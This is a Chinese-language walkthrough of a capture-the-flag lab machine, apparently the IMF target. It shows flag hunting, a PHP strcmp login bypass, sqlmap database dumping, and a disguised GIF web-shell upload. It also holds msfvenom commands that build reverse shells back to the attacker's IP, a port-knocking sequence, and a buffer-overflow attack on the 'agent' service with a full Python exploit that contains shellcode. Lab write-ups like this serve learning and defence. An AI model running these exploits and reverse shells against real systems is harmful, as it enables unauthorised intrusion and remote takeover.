找靶机IP
扫描端口
找到第三个页面邮件右键查看源代码,发现第一个flag,经过解码内容为allthefiles
发现一堆base64的,挨个拿上去解码一下
解码之后拿到第二个flagflag2{aW1mYWRtaW5pc3RyYXRvcg==}
解码为imfadministrator
,然后放到浏览器里访问一波,发现一个登陆页面
查看页面源代码,页面有提示,说是硬编码了密码,百度了一波硬编码
的意思,就是把密码写死在原文件里..(神仙操作NB)
有可能后台使用的是PHP的strcmp函数
对比,打算用数组绕过
strcmp ( string $str1 , string $str2 )
参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
当这个函数接受到了不符合的类型,这个函数将发生错误,但是在5.3之前的php中,显示了报错的警告信息后,将return 0
可能是用户名有问题?然后试一下用首页面上给的那几个用户名试试rmichaels
,akeith
,estone
进去了,拿到第三个flagflag3{Y29udGludWVUT2Ntcw==}
解码为continueTOcms
,进去之后然后发现是一个半成品的站,习惯行的在url后面加上一个'
试一下,发现报错了...
然后直接扔到sqlmap跑一波,这里要注意一点的是一定要带上cookie,毕竟这是一个登录之后才会显示的页面
sqlmap -u "http://192.168.133.222/imfadministrator/cms.php?pagename=home" --cookie="PHPSESSID=9kh5t2nhvrb85ju6nu850ghfi2"
然后查表,脱裤一把唆
发现一个在后台没显示的页面,访问一下看看,发现一个新页面,有一个图片,图片内有一个二维码
然后用手机扫码,拿到第四个flagflag4{dXBsb2Fkcjk0Mi5waHA=}
解码为uploadr942.php
找到上传页面,经过测试有WAF,并且只允许jpg;gif;png
上传,并且校验文件头,
并且在返回包里提供了重命名之后的文件名,访问一下,发现没有目录,只能在爆破一波目录了
访问发现gif文件可以执行php脚本内容,修改gif内容,发现WAF有拦截,于是改成一句话变种
看到第5个flagflag5{YWdlbnRzZXJ2aWNlcw==}
解码为agentservices
,看样子有一个叫agent的服务....先反弹回一个shell回来再说
s=echo "" > shell.php
使用msfvenom
生成shell文件,这个地方暂时不考虑php本身的shell,php有脚本运行超时时间,shell连上一会就断了
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.133.221 lport=4444 -e php/base64 -f raw > msf.php
然后传到服务器上,访问一下,在自己本地开启msf进行监听
使用whereis
命令查找agent的位置
使用cat /etc/services | grep agent
查找运行端口
但是扫描不到7788端口,那我们先去提示目录中去看一下
发现有一个提示access_codes
,里面的内容是SYN 7482,8279,9467
学到一个新东西port knocking
如字面意思,类似‘敲门’,只是这里敲的是‘端口’,而且需要按照顺序‘敲’端口。如果敲击规则匹配,则可以让防火墙实时更改策略。从而达到开关防火墙的目的
两位表哥的笔记
- https://www.digitalocean.com/community/tutorials/how-to-use-port-knocking-to-hide-your-ssh-daemon-from-attackers-on-ubuntu
- https://www.cnblogs.com/xiaoxiaoleo/p/8523322.html
看样子这是让我们按照顺序去扫描对应的端口,然后就能开启新端口了???
nmap -r -p7482,8279,9467 192.168.133.222
-
-r
是顺序扫描
然后重新扫描全端口,发现竟然多了一个7788端口,学到了新知识了
用nc连接端口查看,发现是一个程序,跟我们在服务器上运行的是一样的,于是我们下载下来,跑一下看看,使用nc进行文件传输,传输完成之后校验一下md5
nc -lp 9999 > agent
nc 192.168.133.221 9999 < agent
查看一下文件的基本属性
本地运行,第一步看样子是需要一个id号才能进行登录,拖到本地用ida
看一下,反编译看伪代码
看到下面有一个strncmp
应该是负责比较比较的,那上面那段字符串应该就是密码了
或者使用ltrace,查看这个程序执行的过程调用的动态库调用
然后发现几个功能,每个功能点进去看一下,发现第三个功能是有gets
函数
然后我们使用edb
调试
生成测试字符串,提交到输入里面
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
程序崩了,计算偏移量/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641
算出偏移量为168,然后生成测试字符串,查看对应寄存器的值
我们可以看到前面的字符串存放在EAX里后面的字符串存放在ESP里
使用/usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
,将汇编语言转换成十六进制,然后搜索call eax
定位位置,然后构造生成shellcode,写出exp
msfvenom -p linux/x86/shell/reverse_tcp LHOST=192.168.133.221 LPORT=4444 -f python -b "\x00\x0a\x0d"
import socket,sys,time
host='192.168.133.222'
post=7788
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((host,post))
print s.recv(1024)
s.send('48093572\n')
print s.recv(1024)
time.sleep(0.5)
s.send('3\n')
print s.recv(1024)
time.sleep(0.5)
target='\x63\x85\x04\x08\n'
buf = ""
buf += "\xd9\xeb\xd9\x74\x24\xf4\xbb\x60\xf5\x62\xe7\x5f\x31"
buf += "\xc9\xb1\x12\x31\x5f\x17\x03\x5f\x17\x83\x8f\x09\x80"
buf += "\x12\x7e\x29\xb2\x3e\xd3\x8e\x6e\xab\xd1\x99\x70\x9b"
buf += "\xb3\x54\xf2\x4f\x62\xd7\xcc\xa2\x14\x5e\x4a\xc4\x7c"
buf += "\xa1\x04\xb3\xa1\x49\x57\xbc\x48\xd6\xde\x5d\xda\x80"
buf += "\xb0\xcc\x49\xfe\x32\x66\x8c\xcd\xb5\x2a\x26\xa0\x9a"
buf += "\xb9\xde\x54\xca\x12\x7c\xcc\x9d\x8e\xd2\x5d\x17\xb1"
buf += "\x62\x6a\xea\xb2"
payload=buf+'A'*(168-len(buf))+target
s.send(payload)
s.recv(1024)
print 'send_payload_seccess'
本地nc监听